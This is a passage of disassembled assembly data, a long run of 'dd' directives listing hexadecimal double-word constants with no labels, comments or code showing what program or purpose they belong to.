		dd 0E95CF830h, 401537E4h, 39006D63h, 9C024E2Bh,	38A253Ah
		dd 887C3505h, 0FFA8874Dh, 1430E8F8h, 89B37844h,	916A4AACh
		dd 70F2F74h, 0A3F7FF0h,	9C0702B3h, 7CE74E2Ch, 7A644C48h
		dd 4501BFE0h, 0FB3373FEh, 94C4DE4Ah, 0DC2F38C8h, 0DDB13600h
		dd 76C4E653h, 42402155h, 71304064h, 462BF28Ah, 882264h
		dd 628A7C7Fh, 0B8DEC0A8h, 83DB433Ch, 0F51B35Fh,	0C9B80087h
		dd 0D081FE9Dh, 0EA0A7811h, 94396250h, 0D8E83340h, 442B80CCh
		dd 15537D00h, 8C766523h, 293D610Ch, 0C4F2FC2Fh,	0CC003548h
		dd 0AFAD16CDh, 1FCB4E81h, 0C4AC9945h, 0F97546AEh, 20F404C8h
		dd 0E1022BF3h, 40D408B9h, 460E3C00h, 0A7CA76h, 0EC0B70B8h
		dd 5C613DB6h, 0CF652F38h, 22E848D1h, 0B135C450h, 10734160h
		dd 0AC0280E0h, 55556771h, 24213EA8h, 0D6E0564Bh, 0A3A0043Ch
		dd 0FC9D5E9Ah, 487A9D14h, 89B184A8h, 920448EDh,	1397BF5h
		dd 0F8740E96h, 60403AE1h, 68CE85Dh, 37159410h, 934818DDh
		dd 12C2374h, 887B9E24h,	20DE1935h, 0C69E3C4Dh, 0EE093700h
		dd 0B5CC38DDh, 17AE01ECh, 0DC89F990h, 49E8A52Fh, 4AD05764h
		dd 1181E5E7h, 72FD3169h, 0CE0F4F4h, 0E4C3CC4Ah,	33210064h
		dd 3F8CFD29h, 220262B2h, 110FE6BBh, 4B0746Ah, 40ABC33Ah
		dd 461C675Ch, 0C4B21D6Eh, 0A3860752h, 9D889335h, 440B92h
		dd 998F4500h, 863F98C4h, 9BAA00E8h, 7455BBCAh, 0B20C84A9h
		dd 6CCDDC53h, 0AE2F1AE4h, 90047035h, 9E26602Ah,	45882641h
		dd 3E4F7004h, 7AEA9E02h, 40DEA6C9h, 92372014h, 0D0B8A024h
		dd 45F4A930h, 3243D1h, 17B7978h, 48E422CEh, 2BDC4D2Bh
		dd 2177D80Ch, 0F8CEF41Eh, 9D3F19E4h, 0C1DDA06Eh, 8041D604h
		dd 0C0C5DD15h, 984B3D92h, 9C1830C7h, 901C098Bh,	690FA4A1h
		dd 5840947Ah, 0F8F482D4h, 26907487h, 8DB30818h,	21406286h
		dd 4418A749h, 19F06734h, 706CB7Ah, 57F0A69Fh, 5CB26207h
		dd 954F88C4h, 6CB9E481h, 8341E808h, 307E9402h, 273FCE46h
		dd 762246E4h, 0CE4E1D00h, 2A707939h, 0E8CD0084h, 3DA01A90h
		dd 50C84FD0h, 0CE7CC280h, 22DDB043h, 1B207528h,	0D3CE44h
		dd 9A905276h, 0C78699B1h, 0D12F840Bh, 4DAC5A74h, 390050F5h
		dd 5BB3F235h, 0A7028DE1h, 96C9C09Bh, 41BC5E9Ah,	0CDF0F443h
		dd 8CB84036h, 612C0493h, 0B1031C18h, 0F06DDC33h, 0C87C57E3h
		dd 41C07FB0h, 46E426CEh, 72742268h, 1ECE3F1Ah, 0EBE41380h
		dd 4F59E164h, 0A8C1864Bh, 0C8264D5Bh, 7BFD3602h, 61313FF4h
		dd 0FD2E0A10h, 0F5A98E01h, 0D9762839h, 3400F032h, 3FF0B3CAh
		dd 0C50348ADh, 0A5CC6ABFh, 0ABC6F964h, 84F17C31h, 0F3104062h
		dd 0E878582Dh, 37B8C85h, 0F8E59107h, 0E4F3DDF1h, 5E70BA27h
		dd 0C4080988h, 5C4CFCF8h, 5994108Ch, 28477862h,	0BC57820Fh
		dd 40B07C3Ch, 4CCAF875h, 0FA7A3E00h, 4AAF5F81h,	0D2280F7Dh
		dd 0B2D63CB3h, 58C47A54h, 76035B67h, 0A11890F0h, 1651070Bh
		dd 463F00B0h, 0E08C7C2Eh, 0AE07CE6Bh, 4FFD8DA4h, 0D4B87790h
		dd 0D0E55B0Fh, 425FA044h, 0A9EB8E00h, 0EE0E66C2h, 0F66000FCh
		dd 0CCACF2DEh, 7304E067h, 65803952h, 3FC848CBh,	3C7EF2C0h
		dd 8D9A00D6h, 97942FD7h, 80B76820h, 10F5E40h, 80A19D69h
		dd 34E567FCh, 8040B114h, 58B94D97h, 624C90BCh, 1D9C04E9h
		dd 89383Fh, 304F4442h, 713DFD40h, 8022C6F4h, 0FD0038E2h
		dd 353B5F4Eh, 0B56E4881h, 10A4080Ah, 0E8931633h, 121CB4h
		dd 5E70228Ch, 28F14D37h, 0F73AC765h, 0B992F480h, 0E0A4C3h
		dd 9609DF05h, 0A3D2D877h, 4F0FAE00h, 40E8CCC2h,	0F0E30016h
		dd 0FD35119Ah, 2714DE22h, 0F8C7729h, 18E8760Dh,	0A8060C49h
		dd 0E6CBCh, 646A9AA0h, 9E53BF24h, 8646E013h, 7E66C30h
		dd 487163B1h, 0B92FCCE5h, 775441C4h, 70C2AB10h,	1280915Fh
		dd 0E346895Eh, 87F2B873h, 185730h, 9658C8D3h, 0D6443A4h
		dd 4511A309h, 2EF08490h, 0F49E2261h, 78B12588h,	9E3A53C0h
		dd 0D0E54B5Ch, 0C3F30FA0h, 0D268E2C0h, 77640DBBh, 0B3F0053h
		dd 9B2FCE33h, 0C6263177h, 9A4008F8h, 4EC9C5Bh, 0DBBA867Ch
		dd 2544E8DCh, 33BCE069h, 6F6100C3h, 6B03DE90h, 4C0910FAh
		dd 486907E4h, 4C12768Ch, 0D41204CAh, 39F088B4h,	155399C0h
		dd 0E04AE4DEh, 3449103h, 0BBB5C997h, 0D39C02A7h, 7A4638C4h
		dd 2BCE4202h, 1C70E4h, 1ACE4A19h, 0AC6AA28Fh, 9830E23Bh
		dd 0FD2166D4h, 0E5280146h, 5EEDA25Ch, 0D4FEECF2h, 8C84204Eh
		dd 8EC318C0h, 0BA1B7DE8h, 0C38E914h, 8C88ECh, 0F493807Bh
		dd 8B3AC096h, 0C04C0448h, 8DBA9F6Dh, 24E300DBh,	3973C7D0h
		dd 9714A826h, 140B36h, 0EB668CF5h, 76D32010h, 3CEF5C73h
		dd 7E8CAA2Eh, 2F003646h, 39D79FF8h, 33E6CC97h, 5DE8FB09h
		dd 7534852Bh, 1F51D4ECh, 0FC3DD180h, 133B6B4h, 0AB5ECB00h
		dd 0CEF941EAh, 0E1A5006Fh, 0F5026AA9h, 39017BD0h, 0E7FE5C15h
		dd 78700428h, 3BD84038h, 1839A4A1h, 338A0B78h, 381C4C2Bh
		dd 8A7F7400h, 5C93D9C1h, 84C50321h, 83D62A8h, 22E4D158h
		dd 0B80A125Dh, 791C4866h, 28CE47C0h, 2C9821E4h,	4FF4C5B9h
		dd 3A5F00CEh, 0D81F88A8h, 0B30CCB86h, 693E0B62h, 0E91C0450h
		dd 80CCAE29h, 9E40676h,	64782501h, 66157096h, 5052C060h
		dd 0E00BCC38h, 0F8BB61D8h, 38162DEBh, 802C8E18h, 0C1DC6F55h
		dd 8C76002Ah, 5C63569Ah, 270F7746h, 8B950433h, 8B87ADBh
		dd 6AB0B1D5h, 52E8F802h, 56E06444h, 7702A83Eh, 142B328Ah
		dd 79119031h, 303C317Ah, 0E01D240h, 4302C0D4h, 2BED7E90h
		dd 0E5C8606Bh, 0F9586D12h, 8C78E838h, 0C21B4Fh,	0EC802B50h
		dd 0FD211E2h, 0C095DD2Eh, 0A28A8D00h, 0A79708Eh, 483037F0h
		dd 748024A0h, 0B2003646h, 0A4B7658Fh, 9490A838h, 68981930h
		dd 1566A38Bh, 0D47C1CF4h, 0ACC68080h, 0A54B892Bh, 65D29802h
		dd 5008ABF9h, 3A9708D4h, 5B00B6C4h, 11558BC1h, 0A85202EFh
		dd 27B3758Ah, 7A1080DEh, 6BD46D0Ah, 0F0729688h,	95006430h
		dd 0F1F287A6h, 161C84B0h, 0B3798957h, 53410004h, 0D1C4D016h
		dd 341C067h, 39EDDC6Ah,	0DA0F2505h, 0EC44352Bh,	0F8C882B1h
		dd 316463D4h, 4A0A699Fh, 0CEDA2CFBh, 0BC043512h, 9C880B2Dh
		dd 0FAEFA11h, 0A5B07088h, 2E9C07C0h, 274F9536h,	3EB02411h
		dd 61748B6Ah, 0E1828177h, 482CE359h, 42A2313h, 763C18h
		dd 89373522h, 16603CECh, 884854h, 0AC54DD28h, 9ED36E8Eh
		dd 3CB8E170h, 83218FDh,	5FF477FDh, 0E4062C4h, 3560FD2Ah
		dd 0D025714h, 859C02BFh, 55B53408h, 71F58422h, 35C42047h
		dd 0B3047B60h, 7ECC4404h, 0B0A2E676h, 0CD92EE12h, 0B3F2EC1Ch
		dd 4A078C03h, 0F17F646Bh, 0A440CAE6h, 0B8907C36h, 6946090Ch
		dd 4C44712Fh, 0D6685403h, 0A09C2799h, 460AF3Bh,	2575BC8Fh
		dd 2310B7E1h, 0FD340143h, 182FF475h, 2CC88B68h,	780009FDh
		dd 7E883995h, 5C85F4AEh, 7510708Eh, 0CC6A0E6Eh,	810CC9A6h
		dd 0D7115324h, 75303C12h, 2B34108Ah, 8073E044h,	940A248Ah
		dd 4B70B10h, 27005CD1h,	39230B3Ch, 5AD6075Fh, 2169A37Eh
		dd 20E82CD8h, 0C3886C8Ch, 92BF0EEBh, 7CA04FDBh,	36C70DEFh
		dd 582E8004h, 1483D397h, 0FE781F2h, 4CAC446Eh, 0C130146Ah
		dd 0A917711h, 0A089F697h, 5A1DE64Ch, 0F24BBCAAh, 0CFEC6DADh
		dd 0D789A140h, 0B4B90BC6h, 0B59D1900h, 1C25564h, 0CA311AB7h
		dd 0ECA3F1FAh, 0AA01A19Fh
		dd 696229C6h, 742CB4F5h, 0CF3C901h, 6C67E776h, 60B118Ch
		dd 2EA19400h, 0BEA5257Eh, 9C35E200h, 2183E316h,	4C0B272Bh
		dd 0E0D90C8Bh, 246BA000h, 76AF5363h, 94CF0193h,	18F26CEEh
		dd 2746C83h, 99CC3729h,	87BC7834h, 608644F0h, 3A66790Dh
		dd 7A8AF01h, 0CB734ACh,	0B220C760h, 0F4E097D6h,	2D84BCA0h
		dd 0E48A8289h, 654674F0h, 0C5F76F00h, 91A1506h,	0F495D729h
		dd 0AA1E279Dh, 40596180h, 550B20E4h, 4060A4B0h,	8E6E01CBh
		dd 8CB15C8Bh, 0A859A4FAh, 292CC204h, 6AF228A2h,	76E3E033h
		dd 0E6530731h, 347D66C3h, 595B00B7h, 0D6206h, 96ECB9EAh
		dd 50CBC728h, 1E027602h, 539245B4h, 0C0ADF868h,	99002D7Ah
		dd 2C3D9AC2h, 2D51353Bh, 18E0822Bh, 91C08EC4h, 9D4FB0EEh
		dd 901FEA83h, 0C63B04CEh, 80827FD8h, 0D4426755h, 7802454Ah
		dd 55B12784h, 73CFA002h, 90BF38FAh, 9014782Ch, 0ECE82C5Eh
		dd 8E670223h, 0B078F908h, 7AF04195h, 249D38A5h,	0C8876111h
		dd 0B54FE13Ch, 84407BD4h, 3DF40FEEh, 3F740279h,	0DE171D94h
		dd 4B884CFCh, 10209F6Ah, 0AC5B2F2Eh, 9DBF4ECh, 0C48B90FCh
		dd 0A1960406h, 0FFFD9C09h, 7424903Bh, 15DD8982h, 69C81CCBh
		dd 2AD0C2C0h, 684B0390h, 5FCD07FEh, 0A2F85143h,	65993074h
		dd 0D81C3009h, 3404424h, 61F5D12Fh, 4F814C64h, 8F15E531h
		dd 0AFBD897Ah, 13BA962h, 0D89DACCCh, 92B0C82Bh,	0CE57F702h
		dd 63B52C8Fh, 76CDA05Ch, 9E601739h, 0C1CC00FFh,	933226BDh
		dd 2C94A3Bh, 0E8764582h, 2FFC587Bh, 702986B1h, 22F7C802h
		dd 8B8C1809h, 0F4704AE8h, 75202F2Ch, 0F243064Dh, 302373F8h
		dd 0C774626h, 1C7D4674h, 8F0C6A6Eh, 8909790Dh, 3441D46Ch
		dd 20CAE30Dh, 87A21A3h,	0C4A12BB4h, 0D1878D1h, 8B9AE803h
		dd 0E0433BABh, 0C98740F8h, 605436E0h, 64B23D65h, 0B83078F2h
		dd 1A64A999h, 5C8B7CC0h, 0D7C0FC2Dh, 62C64222h,	7822364Bh
		dd 933B10F2h, 0C81A8012h, 86430890h, 68E2EFBAh,	54C5D37Ch
		dd 3F07A8F4h, 8B8242B1h, 50B9AD34h, 18C6DCE8h, 0A22BBF2Fh
		dd 0B7CA090h, 2C811032h, 68E4528Ah, 8C69EC40h, 0BEA1C417h
		dd 1DDBCC02h, 7810573Ch, 0D500D368h, 7121F6FEh,	54AD0E2h
		dd 2FD28DB3h, 45CFCDDh,	0CBACE813h, 5049EC14h, 27B0C600h
		dd 0E8414502h, 0CE95CCFDh, 79B2A300h, 8BC4D20Ch, 0F5E13A4h
		dd 6D744BDDh, 4380ACB7h, 7D5366C4h, 0D57709D1h,	740556E2h
		dd 1CECFCD9h, 1313F470h, 78885457h, 3AA603FDh, 6CF0787Dh
		dd 0E8D040B8h, 38DD1C00h, 2CC0F81Ah, 693F1A9Ah,	0E054A061h
		dd 53209CAAh, 6F450004h, 7BCDE63Ah, 0C72C7F51h,	26016921h
		dd 0BD99F934h, 10FCF2h,	9390A8B4h, 0E32C470h, 82D2F0BAh
		dd 17A44ECh, 0E597F8C6h, 0B2FC73AEh, 639F30BCh,	1755203Ah
		dd 0F8199344h, 39113060h, 1429C4h, 32746634h, 0E448C3h
		dd 3E1857A8h, 0E9DEFD86h, 0FCCB1D00h, 0C2BC056h, 0FE6166Dh
		dd 0E5E8820Dh, 6013864h, 3809852Eh, 0BC2035AEh,	44408286h
		dd 0B5803F2Fh, 6BB0B8D0h, 6C6D79A5h, 0A3B934C0h, 4D376CDh
		dd 378CDA86h, 4974EC1h,	62048F50h, 0C410B83Dh, 0E410D5C8h
		dd 9D703511h, 0E3031CEEh, 0E640088Bh, 3D3C1428h, 225EA751h
		dd 5B1A26ECh, 0DF7D507Ch, 0FB7B7C00h, 0FD2BB4Ah, 808095C9h
		dd 27DEED5Fh, 0C47EE525h, 0F9E062D0h, 8403F2Eh,	46840BA7h
		dd 8A7B023Ah, 59742B36h, 7E7D6004h, 0D0C4F98Ah,	2F32695Fh
		dd 1FCA5620h, 0D0214CB7h, 8713B310h, 44878D0h, 0E0113FE4h
		dd 201405D4h, 6F94B260h, 1F7D88C8h, 68269890h, 53867587h
		dd 29239C1Eh, 429E2B01h, 39185D88h, 12234A88h, 8EEAA9Eh
		dd 35839FB4h, 0A7E5CB9h, 67E8CC60h, 50BD8D8Ch, 88900E38h
		dd 7CC0C085h, 0F800ABB6h, 152B8C9Bh, 0B064454h,	6089331Bh
		dd 894A68A7h, 84C0505Eh, 0E4E72355h, 305F003Ch,	0A18BA362h
		dd 0C2637F0h, 10B88C2Bh, 0E400BBDCh, 127670B3h,	0CC026AC2h
		dd 2C9483B5h, 0C24CE38Eh, 2A202F67h, 73E42746h,	105C0B4Ch
		dd 0B11422FFh, 8B1088DDh, 81370424h, 760F3283h,	9480D0D3h
		dd 0E409AC86h, 0A0626527h, 1C5CF4ACh, 0DC8F0923h, 7D0032F5h
		dd 0B10607B0h, 63E307B0h, 3075A2C4h, 0E901BEEAh, 0A601E022h
		dd 6440CF07h, 481B2639h, 4D107070h, 80AFC877h, 0B8ED569Ah
		dd 0E425B9E1h, 64BC4781h, 0F0736368h, 2CBC319Ch, 13B3814Fh
		dd 995804B7h, 893017Eh,	212A8790h, 295B257Ch, 0F2E88Ch
		dd 4B1D2A29h, 0E6318F4h, 0A1807CBBh, 4C912880h,	887A54D4h
		dd 8D00115h, 593587FDh,	8EDC5324h, 182CB4B2h, 803D429Ah
		dd 0A91E07F1h, 0CB912A3h, 105CB967h, 2DC829BBh,	39B2C38Ch
		dd 187D6Dh, 4331D514h, 32204A53h, 0AD19D912h, 7BC64406h
		dd 359B2548h, 7174BCC4h, 6075C487h, 2D0840Fh, 4E3FA867h
		dd 0F856F886h, 6A7128A1h, 4BECE518h, 0A6CC1200h, 589B3506h
		dd 0D78D01E8h, 4665FEA3h, 38B0A699h, 123A2708h,	0F4B44A94h
		dd 93AA079Ch, 0EAA80425h, 6F430400h, 2B515Ch, 0DCBE8B9Ah
		dd 18E02CB0h, 0E5809525h, 6068E4C4h, 0A7C8B0h, 0E1154EAFh
		dd 8E35DA79h, 4A9D0716h, 0E6C67880h, 80D1ECAh, 42A02618h
		dd 0A00C6461h, 0B33C8848h, 0C8EDCFEBh, 768A5708h, 11BB4000h
		dd 0EF1FE4A9h, 81CB2D42h, 0CC8860E7h, 0B4DE0BCDh, 74988F48h
		dd 0DF00E522h, 54437453h, 794D619h, 4D4A4F20h, 0CBF181BDh
		dd 0A2CC635Ch, 91D23087h, 0A9D7B200h, 9B61B1FEh, 21B890A0h
		dd 4A91903Ch, 5E9AC91Fh, 80C668Bh, 608B758Dh, 63200264h
		dd 86572183h, 0F4AC7080h, 60D08B0Bh, 112468C0h,	0E881804Dh
		dd 0C630EE27h, 3558CBA4h, 5D10FCA0h, 7E2C4473h,	2B6118F2h
		dd 0A4244889h, 3E3EE0F8h, 0E107D35Dh, 103322C3h, 64A2E8CEh
		dd 0E8083448h, 8A008C62h, 0EC78DFA4h, 703EB84Bh, 86CC318Bh
		dd 43C1E6C0h, 0F122D480h, 3F621788h, 23343F75h,	89A0003Bh
		dd 3622E6ECh, 81E4B37Ah, 12EF1h, 3FFFFD94h, 97217806h
		dd 31400863h, 27602D64h, 882C469Eh, 4E70D43Dh, 6B9E133Fh
		dd 2D482D38h, 2F64099Ch, 94079DDh, 3C59D888h, 6B5C9825h
		dd 8CA0D037h, 102E40A1h, 4F302085h, 296CD0DEh, 7484C795h
		dd 0C0E0B4B1h, 0FE9F81DAh, 0AA862402h, 4940D237h, 48637010h
		dd 8B0C8F21h, 439520A7h, 26887474h, 15B918FCh, 0DF74C884h
		dd 280A5886h, 33C044C8h, 46F478FDh, 672227h, 60FD2B09h
		dd 2E64376Eh, 4094DAE2h, 3CC86D10h, 0ED9C4382h,	9EF4D063h
		dd 0B6180860h, 7D07E402h, 0B0888A9Bh, 895821DCh, 447E1908h
		dd 6F103AD5h, 6A60843Ah, 0B1380522h, 10FCA68Bh,	13256FF8h
		dd 9D1C8543h, 0E0F7D047h, 730C75B0h, 0BDB8A5D6h, 9CC76727h
		dd 5E607E64h, 110493CEh, 8DEC0885h, 65E52888h, 80EF86Dh
		dd 9540A7FCh, 0B9A0893Eh, 4A926724h, 7E467CFCh,	0C0C3B51Ch
		dd 0E6297DF6h, 220B6DE3h, 0E3650F5Ch, 0E8701564h, 0F9297CB3h
		dd 4F9F919Ch, 302BC4C2h, 9959E21h, 60787914h, 0C9E3950h
		dd 0A6014E98h, 0E627984Dh, 2EB637h, 0CAB7905Ch,	1A000DE2h
		dd 0E5F8C55h, 598B8440h, 9E3E98B9h, 533F4782h, 0CC40C2E6h
		dd 4580D490h, 0F4DD48E1h, 5074AB2Ch, 3A5C175Bh,	0B72C2D63h
		dd 685402F8h, 905FB85Dh, 5CF6DCCh, 6A1E7B82h, 0FCFC8339h
		dd 87C29BAh, 76465Eh, 211BC0C7h, 0FA2A8BDFh, 0B0B159F2h
		dd 23182F97h, 0C9690F7Eh
		dd 72E53E03h, 2A3C1900h, 36A0C346h, 765F00DEh, 4C925AC5h
		dd 141F1EDCh, 680F7ABBh, 0A049AF34h, 3A32152Ch,	35241E80h
		dd 0C0DC0ACAh, 4CC505C4h, 0F2DCA248h, 77123067h, 59DCFF00h
		dd 0B12BC06Ch, 0E98464D4h, 0D830FBD2h, 18E17503h, 207458B9h
		dd 9A024C1Eh, 0E817DF8Dh, 1205C6Dh, 27F00435h, 2CC13A05h
		dd 6429F507h, 2D98663Bh, 368B1872h, 0CC707F62h,	46A0787h
		dd 1640F80Bh, 80F0D96h,	440930E3h, 4CDE296Fh, 0C7DCE040h
		dd 39F7CE1h, 8A52E4D4h,	0A7E7DB95h, 568700C4h, 451390D5h
		dd 50E82CD7h, 0B8E43B74h, 0FC0358C8h, 0DB6AD081h, 0BC1414B4h
		dd 2008C75h, 4A7C99B5h,	5B97AD72h, 14646EB9h, 22B4F533h
		dd 0EEA48050h, 0AA21441h, 7B2594FAh, 85E424E5h,	0F0AF5161h
		dd 740263DAh, 96DF6DADh, 0BD6C6113h, 0B9027863h, 7A890786h
		dd 803E8002h, 6FF47B90h, 0B28D00E0h, 7226D30Ch,	84E23FF0h
		dd 0F8BFC624h, 0BD6D008h, 7851C4D2h, 0E0183A79h, 621B260Fh
		dd 9519F835h, 0AB202DF8h, 20B30E0h, 7C4019DDh, 0DCBC1064h
		dd 98FC46h, 0E0B2604Dh,	3371E65Fh, 465E1CB6h, 4F251F63h
		dd 29502E80h, 0E69B352Bh, 0E1271084h, 576D0F97h, 0FCB1855Ch
		dd 391F0CE8h, 7585C70Dh, 90B9C187h, 10C86D65h, 6E4ED589h
		dd 44130744h, 97F1E686h, 7D41E9Ch, 38819FF1h, 0C42ADA8Dh
		dd 39505AE3h, 0DF0091C7h, 0B21E07C4h, 0F6845B9Ah, 69473135h
		dd 730938h, 280E4A66h, 44FCBD97h, 39E035BEh, 0C1F81DF8h
		dd 202B622Dh, 0F4E82598h, 0F830828Dh, 0D8B6A886h, 73E83225h
		dd 5B9F5018h, 8FDA4704h, 78C05D57h, 0BA050FE6h,	9644B0E4h
		dd 74467E18h, 1330DA03h, 0B3D0222Ch, 309A6359h,	0B4CECB4Ah
		dd 0DCC08888h, 3C9D0F7Eh, 713B34Ah, 0C55024B5h,	0C540ECFh
		dd 0E6971231h, 0C43068FCh, 0F9027D56h, 4D8AF200h, 3E70A362h
		dd 8C5C1E35h, 6D9D0296h, 10FA3327h, 894F947Dh, 21716CC2h
		dd 409205BEh, 8A6EDEC2h, 88D8B0B7h, 2ADC000Fh, 0B1249E23h
		dd 78013C6Ch, 617D3103h, 176008CBh, 0F2702F7Ch,	0AE02F846h
		dd 474636D2h, 4090D5A1h, 91005526h, 23176A7Dh, 589754Ch
		dd 7BCFFCAEh, 4098F527h, 3492D740h, 91AC979Fh, 0F3809FBCh
		dd 3728917Bh, 946C0189h, 0C2C90916h, 41A43132h,	3C75ED60h
		dd 9BB58BDCh, 6A42D480h, 2621C3F8h, 4AC47502h, 0F008178Eh
		dd 7D033D5h, 4E76313Dh,	0E804D8D5h, 0F80D86E0h,	23DC4C30h
		dd 8A72048Ch, 381C2B31h, 8A79007Ah, 205DF239h, 0D902021Bh
		dd 1D2F8C2Dh, 76A0080h,	0C490E550h, 28253900h, 2BB345C7h
		dd 88D432E8h, 4C80C4A8h, 2854120h, 0C6AE9D09h, 4CD1ACh
		dd 69180434h, 6E39C73Eh, 48B280F1h, 37A4A28Eh, 54964C36h
		dd 14CF340Ch, 0DE099060h, 0FFDE1FCh, 822D6854h,	0E65725E5h
		dd 3C79F459h, 0E49DE118h, 81C300F0h, 68BFA43Ah,	8B00B002h
		dd 7EBE704Eh, 9C0B197h,	30964BE9h, 80B1CC8Fh, 0F476FD35h
		dd 0C04CB937h, 0EBFD2D0Fh, 89138E3Fh, 0FC99C3C9h, 30814098h
		dd 0D51EB207h, 9F95F43h, 59762558h, 0DCBD05A8h,	64E90344h
		dd 57C0909Bh, 0D60B91F7h, 8AE63540h, 9760846Ch,	6226E02h
		dd 366256FEh, 433B190Eh, 9678DD27h, 7DC84C8Bh, 20FF1EC4h
		dd 3DCCD158h, 90B7F173h, 6A68BE8h, 0CD07F466h, 3FFE297Dh
		dd 0A2940525h, 19863000h, 0C1C91276h, 0CCC192B0h, 1822D7E2h
		dd 0CF47CB9h, 79078EE1h, 0CA180C7Ah, 0B0C9478h,	20A3F4D0h
		dd 0BD2F26E6h, 216D8BC0h, 49F98004h, 4394D26Ah,	101110A5h
		dd 87E84C58h, 1D7B08Ch,	9988EC3Fh, 31E98E25h, 0B53C30B9h
		dd 350B0E80h, 3AE908E5h, 17E2320h, 7DAEF123h, 0B829E8h
		dd 499DDCCh, 1E71C246h,	2E7DC54h, 856C208Bh, 46760074h
		dd 0F46F0073h, 0E39AF3E1h, 0E8DD16C3h, 0DC548038h, 8BBF90FAh
		dd 7994F118h, 0FB7183Bh, 0C6CA162Ah, 9AF82F80h,	650AA28Dh
		dd 54F40722h, 0AF12DB00h, 92F9AEF2h, 0F448966Ch, 0E938CA01h
		dd 3124A385h, 7B546E7Fh, 0AFFB9001h, 5C64F0C7h,	0BC50E0C6h
		dd 983D2753h, 757F6882h, 0A408DD01h, 5BDED834h,	5F14C31Ch
		dd 0B00416A4h, 0F4025DC8h, 0FCD60FF0h, 7084A029h, 5081251Fh
		dd 5D2B3CB9h, 20202A34h, 0CA2769BCh, 742C78D3h,	3784806Eh
		dd 0F402754Fh, 405EC193h, 9D5BCAB0h, 0A30790BDh, 0CAD0408Ch
		dd 4C5C464h, 0D5B3F76Dh, 0F21CE2D0h, 0F0C53065h, 309F5C00h
		dd 0D6404818h, 0CE121C76h, 0CC840B8Bh, 1C27D4A0h, 0E0B53644h
		dd 80BBE078h, 0C9E19D2h, 3A465Eh, 0E63E767Ah, 9E4B58FBh
		dd 33A34238h, 60513700h, 0F452454h, 68467434h, 0B54ED607h
		dd 58832035h, 36143029h, 9542C62h, 0C2A290h, 0E1CE981Ch
		dd 40F89CEFh, 24B051F4h, 8CA0F706h, 196ED4h, 0A3010BAEh
		dd 6615E21Eh, 0A0518400h, 97BB7893h, 0CFE00A2Ah, 3B982707h
		dd 38FC0AA8h, 0D2AC2005h, 816BBCC4h, 7AF01002h,	0FDE88E03h
		dd 0BF12E8ACh, 0B734B310h, 0E18C0A8h, 0E45C7601h, 50B9C244h
		dd 24B60F64h, 0B958BD14h, 200B8BECh, 8658772Fh,	8C160284h
		dd 41A86E30h, 88705D70h, 30CC89A2h, 3F2407B7h, 5660A857h
		dd 160C32FFh, 8C9B723Dh, 0AA090738h, 10789A83h,	9F92E7D4h
		dd 9CC71C62h, 6C60BB44h, 3B01EE0Fh, 26AF8D9h, 0C423C740h
		dd 0E8D00627h, 1EDC5301h, 0F48672BBh, 42407C20h, 30B292BDh
		dd 973034F2h, 383F0056h, 2ABA941Ah, 0E6F07008h,	0F0F1272Dh
		dd 0B7B0120h, 5983295Fh, 0D4D8413Ch, 0BAC60074h, 0F5C30033h
		dd 0F845917Dh, 494F8220h, 0F88BC0C3h, 910DC7C4h, 1889F118h
		dd 3B9B014Dh, 8D0F84A2h, 11543661h, 0D1276089h,	78E7D448h
		dd 44006474h, 9883750Eh, 0B7A9E388h, 0F810646Ch, 3606D34Ch
		dd 0D10359A3h, 4A2EC0C4h, 0F204F216h, 990B3089h, 0C4D7860Dh
		dd 2033F993h, 0D73189A2h, 170557C4h, 810D3FE4h,	20227E34h
		dd 10B0093Ch, 2B31A360h, 0C578A8B9h, 0BF04D4C0h, 84F23417h
		dd 753074F2h, 256A0092h, 0F826E331h, 9850BFB9h,	378159B8h
		dd 106DD411h, 0BE26B3h,	0F543FE35h, 7E9A520h, 0E752880Eh
		dd 0A08B840Eh, 405668F0h, 0EA053448h, 10C3C4F7h, 8C7A903Eh
		dd 3D9B0313h, 0D01FC80Eh, 4E02AC4Ch, 49533F62h,	636038EFh
		dd 1D423CD1h, 0CB71ABC4h, 0D0E68FB1h, 982E8720h, 80F32800h
		dd 0FD9218BCh, 0D30B896Bh, 0DF9051C3h, 7798207Eh, 6A5B7843h
		dd 0B58B0054h, 892B431Dh, 586648D4h, 0E8465E85h, 8CBBECB4h
		dd 0D18F7803h, 0AF7F1285h, 0C0B9DE1h, 8754206Ah, 40987A7Ch
		dd 0E619F500h, 0CB508814h, 232E0991h, 745092CAh, 9621D44h
		dd 6F99C329h, 0BC091489h, 0A4BC1402h, 8844A847h, 22F45D60h
		dd 0CBC6D100h, 0AB904E73h, 0BC7B5451h, 5AD0B00Eh, 76C4B4E5h
		dd 77CD0A00h, 2D25393Ah, 2B350BC8h, 5CC0E651h, 372DF0C4h
		dd 0C09E9h, 8DEBA0B8h, 0FC8F01A2h, 2FD20ED5h, 5FC7C0Dh
		dd 88E4E80Bh, 58AA04A4h, 802890EEh, 7CB420BCh, 0BA81370Bh
		dd 1F602042h, 0E63D9386h, 4EE000F1h, 344FECABh,	810C1C58h
		dd 5191E220h, 56EB3037h, 0CEB62B68h, 0B4236009h, 0B0787A13h
		dd 13FBB0E4h, 0B437513Dh, 0BA255728h, 12789397h, 0A935B2DAh
		dd 59F910C8h, 10C4D218h, 0EA4474D6h, 6BFCF0CFh,	0A452388Ah
		dd 155FE617h, 302040B4h, 57598EC0h, 238072F5h, 0B89D2589h
		dd 8A8044B7h, 909A8912h, 0B57B09D3h, 74D048B9h,	0B8E27618h
		dd 6187B1F1h, 0F0F43973h
		dd 0C4003B57h, 0B8E7CB33h, 0CA2904CCh, 0AC3D0320h, 0AD2888B0h
		dd 0BE003064h, 0CA65A1B1h, 0BDD7AEh, 0DB0BFDC7h, 0D947695Dh
		dd 0C616A404h, 20AC23F8h, 803C9B5Bh, 2AAEDBADh,	6C070209h
		dd 29D7FD94h, 4200D809h, 203F3C74h, 0E823094Bh,	0B452E0C8h
		dd 5CB08159h, 885621F8h, 53037FB0h, 10A83816h, 0C93A97F8h
		dd 0D9E042EEh, 187379DCh, 414B00A9h, 0FE44891h,	34B44C85h
		dd 0EA78CC84h, 144A2922h, 0DC005Ch, 1ECA6EBEh, 0A030C568h
		dd 8F80D09h, 0B0A8148Ah, 0CC302068h, 0BD27641Dh, 480C9035h
		dd 12E491F1h, 204AD107h, 97143DDCh, 30C8B97Ch, 0C059257Eh
		dd 0C6333787h, 31BB540h, 9DE45C51h, 3410B72Dh, 0C70B0660h
		dd 50FC53E7h, 0ED11384Ch, 200CAFBBh, 5E48ACF4h,	0C0E5072Ch
